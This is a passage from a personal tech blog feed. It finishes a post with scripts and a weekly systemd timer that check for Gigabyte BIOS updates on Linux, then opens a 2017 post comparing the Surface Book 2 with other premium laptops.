</span></span><span class="line"><span class="cl"><span class="p">})();</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now create a bash script <code>check_bios_update.sh</code> with this content:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get directory of this script (absolute path)</span>
</span></span><span class="line"><span class="cl"><span class="nv">SCRIPT_DIR</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span><span class="nb">cd</span> <span class="s2">&#34;</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="si">${</span><span class="nv">BASH_SOURCE</span><span class="p">[0]</span><span class="si">}</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="o">&amp;&amp;</span> <span class="nb">pwd</span><span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get current BIOS version</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT</span><span class="o">=</span><span class="k">$(</span>sudo dmidecode -s bios-version <span class="p">|</span> tr -d <span class="s1">&#39;[:space:]&#39;</span> <span class="p">|</span> tr <span class="s1">&#39;[:lower:]&#39;</span> <span class="s1">&#39;[:upper:]&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Run the Playwright JS script in the same directory</span>
</span></span><span class="line"><span class="cl"><span class="nv">LATEST</span><span class="o">=</span><span class="k">$(</span>node <span class="s2">&#34;</span><span class="nv">$SCRIPT_DIR</span><span class="s2">/check_bios_playwright.js&#34;</span> <span class="p">|</span> grep -o <span class="s1">&#39;F[0-9]\+&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🖥  Current BIOS: </span><span class="nv">$CURRENT</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;🌐 Latest BIOS:  </span><span class="nv">$LATEST</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$CURRENT</span><span class="s2">&#34;</span> <span class="o">==</span> <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;✅ You are up to date.&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span>
</span></span><span class="line"><span class="cl">  <span class="nb">echo</span> <span class="s2">&#34;⬆  BIOS update available!&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Do a <code>chmod +x</code> to make it executable and, if all goes well, you&rsquo;ll get a response like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[sudo] password for akitaonrails:
🖥  Current BIOS: F33
🌐 Latest BIOS:  F33
✅ You are up to date.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It&rsquo;s a cannon shot to kill a fly, but this will use headless Chromium to pull the page, load the javascript, and then use CSS selectors to find the BIOS version, compare it to the one on your machine, and see if it&rsquo;s up to date.</p>
<p>If it isn&rsquo;t, there&rsquo;s no way around it: you have to manually go to the site, download the ZIP file, extract it onto a pen drive, and boot into the BIOS to update manually. But at least I can quickly check from time to time with one command line now.</p>
<h2>Automatic BIOS Version Check<span class="hx:absolute hx:-mt-20" id="automatic-bios-version-check"></span>
    <a href="#automatic-bios-version-check" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I decided I don&rsquo;t want to remember to run that script manually, so the best thing is to create a user systemd service and check automatically every week. If there&rsquo;s a new version, create a notification to GNOME so I can see it visually and automatically open the download page for me.</p>
<p>First, I need to give my user access to the dmidecode command to check my current BIOS version without having to type a password with <code>sudo</code>. To do that, let&rsquo;s create a new sudoers rule like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo visudo -f /etc/sudoers.d/bios-check</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It&rsquo;ll open an empty file where I fill in like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo /usr/sbin/dmidecode -s bios-version</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And don&rsquo;t forget to set the correct permissions on this file:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo chmod 0440 /etc/sudoers.d/bios-check</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>With that it won&rsquo;t ask for a password to run that command anymore, since we&rsquo;re going to put it in a background service running automatically. Obviously it&rsquo;s not safe to allow running <code>sudo</code> without a password, so we restrict it exclusively to allow it only on that specific binary and nothing else.</p>
<p>In the same directory as the other files with playwright installed and so on, I create a <code>bios-update-check.sh</code> with this content:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="cp">#!/bin/bash
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Path to your Playwright BIOS scraper script</span>
</span></span><span class="line"><span class="cl"><span class="nv">JS_CHECKER</span><span class="o">=</span><span class="s2">&#34;</span><span class="nv">$HOME</span><span class="s2">/bios-check/check_bios_playwright.js&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">NODE_BIN</span><span class="o">=</span><span class="s2">&#34;</span><span class="k">$(</span>which node<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># URL of your motherboard&#39;s BIOS support page</span>
</span></span><span class="line"><span class="cl"><span class="nv">URL</span><span class="o">=</span><span class="s2">&#34;https://www.gigabyte.com/Motherboard/X670E-AORUS-XTREME-rev-10/support#support-dl-bios&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get current BIOS version</span>
</span></span><span class="line"><span class="cl"><span class="nv">CURRENT</span><span class="o">=</span><span class="k">$(</span>sudo dmidecode -s bios-version <span class="p">|</span> tr -d <span class="s1">&#39;[:space:]&#39;</span> <span class="p">|</span> tr <span class="s1">&#39;[:lower:]&#39;</span> <span class="s1">&#39;[:upper:]&#39;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Get latest BIOS version from Gigabyte site</span>
</span></span><span class="line"><span class="cl"><span class="nv">LATEST</span><span class="o">=</span><span class="k">$(</span><span class="nv">$NODE_BIN</span> <span class="s2">&#34;</span><span class="nv">$JS_CHECKER</span><span class="s2">&#34;</span> <span class="p">|</span> grep -o <span class="s1">&#39;F[0-9]\+&#39;</span> <span class="p">|</span> head -1<span class="k">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> -z <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  notify-send <span class="s2">&#34;BIOS Check&#34;</span> <span class="s2">&#34;⚠️ Failed to fetch latest BIOS version from Gigabyte&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="nb">exit</span> <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="o">[[</span> <span class="s2">&#34;</span><span class="nv">$CURRENT</span><span class="s2">&#34;</span> !<span class="o">=</span> <span class="s2">&#34;</span><span class="nv">$LATEST</span><span class="s2">&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">  notify-send -u normal <span class="s2">&#34;🔔 BIOS Update Available!&#34;</span> <span class="s2">&#34;Current: </span><span class="nv">$CURRENT</span><span class="s2"> → Latest: </span><span class="nv">$LATEST</span><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">Opening the download page...&#34;</span> --app-name<span class="o">=</span><span class="s2">&#34;BIOS Checker&#34;</span>
</span></span><span class="line"><span class="cl">  xdg-open <span class="s2">&#34;</span><span class="nv">$URL</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">fi</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It&rsquo;s the same as the previous script but now using <code>notify-send</code> to send messages to Gnome (in KDE it&rsquo;s different) and using <code>xdg-open</code> to open the URL in the system&rsquo;s default browser. Configure differently for your system. Don&rsquo;t forget to make it executable and test:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>chmod &#43;x ~/.local/bin/bios-update-check.sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now to create the systemd service for my user (different from creating one for the system that runs with more permissions. I only need this running at my user level), so I create the file <code>~/.config/systemd/user/bios-check.service</code> with the following content:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Weekly BIOS version checker

[Service]
Type=oneshot
ExecStart=/home/akitaonrails/.local/bin/bios-check/bios-update-check.sh</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now the timer service to run every week, called <code>~/.config/systemd/user/bios-check.timer</code>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[Unit]
Description=Run BIOS version check weekly

[Timer]
OnCalendar=weekly
Persistent=true

[Install]
WantedBy=default.target</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And enable the timer:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>systemctl --user daemon-reexec
systemctl --user daemon-reload
systemctl --user enable --now bios-check.timer</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>By Systemd convention, a timer [blabla].timer will execute the service with the same name [blabla].service. That&rsquo;s why you need both. If you enable the service directly, it&rsquo;ll run only once and exit. To know if it&rsquo;s enabled correctly do the following:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>✦ ❯ systemctl --user list-timers

NEXT                          LEFT LAST PASSED UNIT             ACTIVATES
Mon 2025-04-21 00:00:00 -03 2 days -         - bios-check.timer bios-check.service

1 timers listed.
Pass --all to see loaded but inactive timers, too.</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And that&rsquo;s how you can automate some things on your system and get more out of your Gnome.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I only started this journey this time because it occurred to me that it had been months since I&rsquo;d last updated the motherboard firmware, and then I took the chance to tune some things I hadn&rsquo;t done before. Things like PBO were on automatic (so I was leaving performance behind; I remember that last time it had been unstable but I didn&rsquo;t dig in to find out why), things like XMP/EXPO were already on. But now I think I really enabled everything I could.</p>
<p>It had also been years since I tried out the Linux-Zen kernel, so I took the chance to test it now. And as I said, so far it&rsquo;s stable. Since I&rsquo;ve started learning Blender and pulling more CPU and memory, I figured it was worth spending time trying to extract the most from my machine. 3D modeling is totally CPU/RAM, more than GPU.</p>
<p>Oh yes, speaking of Blender, one last thing. Remember my Ryzen has 1 CCD, which is that 1 die with 96MB of L3 cache. The best thing to do is create affinity for Blender with that die and prevent it from landing on the core with only 32MB of L3 cache.</p>
<p>On Linux, to do that, here&rsquo;s the command line:</p>
<p><code>taskset -c 0-15 blender-4.3 &amp;</code></p>
<p>The taskset command will hint to the scheduler that blender should stay on threads 0 to 15 (where the V-Cache is) and not 16 to 31 (which only have 32MB). That way, in theory, I&rsquo;m giving Blender the best chances to run at the best possible performance on this machine. Less important programs like the browser, the terminal, if they land on the 32MB core, no problem.</p>
<p>I do the same thing in libvirt/qemu when I run emulated Windows: I configure libvirt to bring up the VM tied to the 96MB CCD and leave the other core for the Linux host. Speaking of BIOS, by the way, to run VMs you have to enable SVM and IOMMU, which usually ship disabled because virtual machine support steals a bit of the CPU&rsquo;s performance. Maximum performance is with them <strong>disabled</strong>. If you&rsquo;re not going to use VMs, leave them off.</p>
<p>And if anyone noticed that I&rsquo;m explicitly running Blender 4.3 instead of the newer Blender 4.4, it&rsquo;s because some addons still don&rsquo;t work on the newer version, so it&rsquo;s better to stay one version back to keep more compatibility with addons that don&rsquo;t update fast.</p>
]]></content:encoded><category>hardware</category><category>performance</category><category>linux</category></item><item><title>From Microsoft to Apple, and Back Again</title><link>https://akitaonrails.github.io/en/2017/11/21/from-microsoft-to-apple-and-back-again/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2017/11/21/from-microsoft-to-apple-and-back-again/</guid><pubDate>Tue, 21 Nov 2017 21:51:00 -0200</pubDate><description>&lt;p&gt;This is going to be a very lengthy article, buckle up ladies and gentlemen.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re hasty, here&amp;rsquo;s what you need to know:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows 10 is still Windows, but it&amp;rsquo;s nowhere near the nightmare of the 2000s. It rightfully deserves a new chance.&lt;/li&gt;
&lt;li&gt;OS X is on its way to becoming no more than an XCode runtime. Rumor says that Apple doesn&amp;rsquo;t even have a dedicated team for the desktop OS anymore. They are entirely focused on iOS and to make the iPad the desktop replacement.&lt;/li&gt;
&lt;li&gt;Linux is great, if you&amp;rsquo;re a full-time web developer, you can comfortably run something like Ubuntu or Manjaro/Arch (my personal recommendation).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Best cost-benefit: the Dell XPS 13. The Surface Book 2 is totally worth it if you&amp;rsquo;re a nerd like me. But as always, there are caveats to discuss.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is going to be a very lengthy article, buckle up ladies and gentlemen.</p>
<p>If you&rsquo;re hasty, here&rsquo;s what you need to know:</p>
<ul>
<li>Windows 10 is still Windows, but it&rsquo;s nowhere near the nightmare of the 2000s. It rightfully deserves a new chance.</li>
<li>OS X is on its way to becoming no more than an XCode runtime. Rumor says that Apple doesn&rsquo;t even have a dedicated team for the desktop OS anymore. They are entirely focused on iOS and to make the iPad the desktop replacement.</li>
<li>Linux is great, if you&rsquo;re a full-time web developer, you can comfortably run something like Ubuntu or Manjaro/Arch (my personal recommendation).</li>
</ul>
<p>Best cost-benefit: the Dell XPS 13. The Surface Book 2 is totally worth it if you&rsquo;re a nerd like me. But as always, there are caveats to discuss.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/663/20171121_111616.jpg" alt="Book 2"  loading="lazy" /></p>
<h2>The Specs<span class="hx:absolute hx:-mt-20" id="the-specs"></span>
    <a href="#the-specs" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I will definitely not duplicate every <a href="https://www.youtube.com/watch?v=-Hh0lZ7Jg4U"target="_blank" rel="noopener">hardware review</a> you can find out there. They are all true. As <a href="https://www.ifixit.com/Teardown/Microsoft&#43;Surface&#43;Book&#43;2&#43;Teardown/100364"target="_blank" rel="noopener">iFixIt says</a>: it&rsquo;s the worst score in repairability. Like a Macbook, the Surface line-up is a statement. It&rsquo;s the best combination of design and functionality. But the trade-off is that it has zero expandability and you should really take care not to break it. If it breaks, make sure you have a warranty and ask for a replacement.</p>
<p>In terms of specs, it is close to other top-of-the-line notebooks.</p>
<p>The top of the line Surface Book 2 costs <a href="https://www.microsoft.com/en-us/surface/devices/surface-book-2/overview"target="_blank" rel="noopener">USD 3,299</a> and comes with 1 TB SSD, 16GB RAM, GTX 1060 w/ 6 GB GDDR5,  Intel Core i7 8th Gen Kaby Lake R, 4K display. It is super expensive, but you can easily justify it. More on that below.</p>
<p>The top of the line Dell XPS 15&quot; Touch costs <a href="http://dell.to/2jMDOx5"target="_blank" rel="noopener">USD 2,459</a> and comes with 1 TB SSD, <strong>32GB RAM</strong>, GTX 1050 w/ 4 GB GDDR5, Intel Core i7 7th Gen Kaby Lake, 4K display. The design of the XPS is top notch for at least 3 generations now. To me, this is the best cost-benefit.</p>
<p>The top of the line Razer Blade costs <a href="https://www.razerzone.com/gaming-laptops/razer-blade/shop"target="_blank" rel="noopener">USD 2,599</a> and comes with 1 TB SSD, 16 GB RAM, GTX 1060 w/ 6 GB, Intel Core i7 7th Gen, 4K display. It&rsquo;s arguably the best industrial design of this bunch, with Razer&rsquo;s impeccable attention to detail. But it&rsquo;s also arguably the one with least available support and more construction problems reported, so be careful to buy it overseas.</p>
<p>The top of the line HP Spectre x360 costs <a href="http://store.hp.com/us/en/pdp/hp-spectre-x360-15-bl152nr"target="_blank" rel="noopener">USD 1,499</a> and comes with 512 GB SSD, GeForce MX150 w/ 2GB GDDR5, Intel Core i7 8th Gen, 4K display. The design is awesome, super thin convertible. The specs are not so great, but it&rsquo;s the cheapest of the premium notebooks, so there&rsquo;s that.</p>
<p>The top of the line Lenovo Yoga 920 14&quot; Vibe costs <a href="http://lnv.gy/2A4DjlU"target="_blank" rel="noopener">USD 1,899</a> but it only comes with Intel Integrated Graphics (no secondary GPU), 1 TB SSD, 16 GB RAM, Intel Core i7 8th Gen, 4K display, and comes with the Pen. The design, again, is great with an almost 360-degree hinge so you can flip your screen around and use it as a tablet. A very good 2-in-1.</p>
<p>Now, the top of the line MacBook Pro 15&quot; costs <a href="http://apple.co/2zXSz6d"target="_blank" rel="noopener">USD 3,399</a> and comes with 1 TB SSD, Radeon Pro 560 w/ 4GB, Intel Core i7 7th Gen, UHD Display, and the infamous touch bar (50% chance of liking it). And that&rsquo;s it. The industrial design and construction are still top-notch, but the others are nearly as good nowadays.</p>
<p>If you use graphics-intensive applications, the Radeon Pro 560 is good, but the GTX 1060 is <a href="http://bit.ly/2zsIjE5"target="_blank" rel="noopener">superior</a>. Apple&rsquo;s UHD IPS (LCD) displays have a maximum resolution of 2560x1600. All premium notebooks nowadays come with full 4K (LED) displays with a maximum resolution of 3840x2160. It is noticeable. If you&rsquo;ve never seen a modern 4K display, the MacBook displays will look good enough. And that&rsquo;s without mentioning that they are all touchscreens with 4,096 points of sensitivity. What was once just a gimmick nowadays compares with the best Wacom has to offer. The Surface line-up comes close to the top of the line Wacom Cintiq and the new iPad Pro. They are in the same league.</p>
<p>There are 2 aspects of the Surface Book 2 that are lacking, unfortunately. First is the absence of a proper Thunderbolt 3 port. Without it, you can&rsquo;t connect to modern external storage or external GPUs. The second is the weak power supply. Reports say that in highly demanding games (a.k.a. Destiny 2 not properly configured), the system will throttle down and drain all the battery faster than it can charge from the wall. <a href="https://www.theverge.com/2017/11/21/16685986/microsoft-surface-book-2-power-problem"target="_blank" rel="noopener">The Verge broke this story</a> and Microsoft is yet to unveil a solution if any. So, if gaming is your top priority buy a Razer or any of the gaming specific laptops such as an Alienware. The battery issue is <a href="https://www.youtube.com/watch?v=imzVR4JSITM&amp;t=1s"target="_blank" rel="noopener">not as dramatic</a> as some have previously reported, though.</p>
<p>In terms of construction. Macs are usually all built with the same aluminum unibody construction. The Book 2 uses Magnesium instead. It makes for a very solid construction but also very lightweight. By the way, after so many years, everybody mastered aluminum. And they are moving in other directions, for example, Dell uses carbon fiber on the palm rests, which I find much more comfortable. Magnesium is also not as freezing cold as aluminum, again, more comfortable. I like that they are past just copying and really trying new and interesting materials.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/664/20171121_111533.jpg" alt="it’s not as thin"  loading="lazy" /></p>
<h2>Value Proposition<span class="hx:absolute hx:-mt-20" id="value-proposition"></span>
